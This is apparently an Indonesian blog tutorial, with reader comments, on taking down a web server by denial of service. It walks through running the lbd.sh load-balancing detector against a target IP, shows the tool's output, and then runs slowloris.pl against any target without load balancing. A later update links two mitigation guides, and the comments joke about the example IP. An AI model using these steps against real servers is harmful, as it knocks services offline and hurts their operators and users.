1. Download file lbd.sh dan slowloris.pl disini, kemudian unrar.
2. Cek Load-Balancing dari webserver target.
root@bt:~# cd dos root@bt:~# ./lbd.sh IP_TARGETContoh :
root@bt:~/dos# ./lbd.sh 10.3.0.67 lbd - load balancing detector 0.2 - Checks if a given domain uses load-balancing. Written by Stefan Behte (http://ge.mine.nu) Proof-of-concept! Might give false positives. Checking for DNS-Loadbalancing: NOT FOUND Checking for HTTP-Loadbalancing [Server]: Apache/2.2.0 (Win32) DAV/2 mod_ssl/2.2.0 OpenSSL/0.9.8a mod_autoindex_color PHP/4.4.1-pl1 NOT FOUND Checking for HTTP-Loadbalancing [Date]: 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:24, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:25, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:26, 15:16:29, 15:16:29, 15:16:29, 15:16:29, NOT FOUND Checking for HTTP-Loadbalancing [Diff]: NOT FOUND 10.3.0.67 does NOT use Load-balancing. root@bt:~/dos#Jika jawabannya adalah "10.3.0.67 does NOT use Load-balancing." maka kita akan melakukan serangan dos.
3. Serangan Dos.
root@bt:~/dos# ./slowloris.pl -dns IP_TARGET* Untuk tipe serangan yang lain bisa dilihat didalam file slowloris.pl.
Berikut Videonya.
Update !
Mungkin dengan adanya artikel ini akan membuat beberapa webserver dirugikan, berikut beberapa tutorial yang saya kira dapat memberikan sedikit proteksi pada webservernya.
1. http://www.pc-freak.net/blog/protecting-debian-lenny-against-slowloris-denial-of-service-attack-with-mod_antiloris/
2. http://lwn.net/Articles/338407/
parah ip 10.0.0.. kayaknya ane kenal tuh hahah
ReplyDeleteUdah ane ganti tuh gan alamat ipnya, maap lupa diganti,haha..
ReplyDelete